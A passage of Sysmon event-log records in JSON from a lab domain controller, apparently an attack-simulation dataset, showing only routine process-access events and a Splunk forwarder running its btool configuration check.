11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3564,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.042\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00100E420500}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.042","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00100E420500}","TargetProcessId":"3360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3565,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.277\r\nSourceProcessGUID: {90617006-407E-5F2D-0000-00100E420500}\r\nSourceProcessId: 3360\r\nSourceThreadId: 4596\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.277","SourceProcessGUID":"{90617006-407E-5F2D-0000-00100E420500}","SourceProcessId":"3360","SourceThreadId":"4596","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3566,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.305\r\nProcessGuid: {90617006-407E-5F2D-0000-0010F7440500}\r\nProcessId: 1008\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407C-5F2D-0000-001033280500}\r\nParentProcessId: 4352\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.305","ProcessGuid":"{90617006-407E-5F2D-0000-0010F7440500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407C-5F2D-0000-001033280500}","ParentProcessId":"4352","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3567,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-001033280500}\r\nSourceProcessId: 4352\r\nSourceThreadId: 2516\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-0010F7440500}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18319|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-407C-5F2D-0000-001033280500}","SourceProcessId":"4352","SourceThreadId":"2516","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-0010F7440500}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18319|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3568,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-0010F7440500}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-0010F7440500}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3569,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3570,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3571,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3572,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.293","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3573,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.293\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 